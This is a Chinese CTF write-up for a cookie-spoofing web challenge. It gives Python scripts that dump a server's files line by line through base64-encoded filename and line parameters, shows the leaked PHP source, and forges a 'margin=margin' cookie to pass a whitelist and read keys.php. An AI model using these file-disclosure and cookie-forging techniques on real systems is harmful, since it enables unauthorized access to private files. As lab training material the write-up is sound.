cookies欺骗

开卷看题

题干说是cookies欺骗,看来这题跟cookie关系很大

冷静分析

  首先注意到index.php会自动重定向,增加了两个参数:line和filename,从字面意思可以判断是读取某个文件的某行

同时filename参数是base64编码的,尝试一下修改line的值,发现line是索引,也就是说输入0则输出第一行

开始尝试

尝试读取index.php的内容,手工试可能会累死,上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

# 指定文件名为index.php(base64编码后)
url = "http://123.206.87.240:8002/web11/index.php?line={}&filename=aW5kZXgucGhw"

line = 0

file = open('index.php', 'w')

while True:
http = requests.get(url=url.format(line))
if http.text == '':
break
else:
file.write(http.text)

line += 1

index.php源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

error_reporting(0);

// 提取filename和line参数值(如果存在)

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

// 如果文件名为空则重定向
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

// 设定读取的文件白名单
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);


// 如果cookie中存在margin字段并且值为margin则将keys.php添加进白名单
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin') {
$file_list[2]='keys.php';
}


// 如果文件名在白名单之内则读取指定行并输出
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}

?>

跟预想的差不多,就是多了一个文件白名单,果断修改cookie绕过

修改脚本内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

# 指定文件名为keys.php(base64编码后)
url = "http://123.206.87.240:8002/web11/index.php?line={}&filename=a2V5cy5waHA="

# 添加cookie
headers = {'cookie': 'margin=margin'}

file = open("keys.php", 'w')
line = 0

while True:
http = requests.get(url=(url.format(line)), headers=headers)
if http.text == '':
break
else:
file.write(http.text)

line += 1

运行一下,得到结果

1
<?php $key='KEY{key_keys}'; ?>

拿到flag

后记

此题考查代码编写能力和手动测试能力(比如line参数))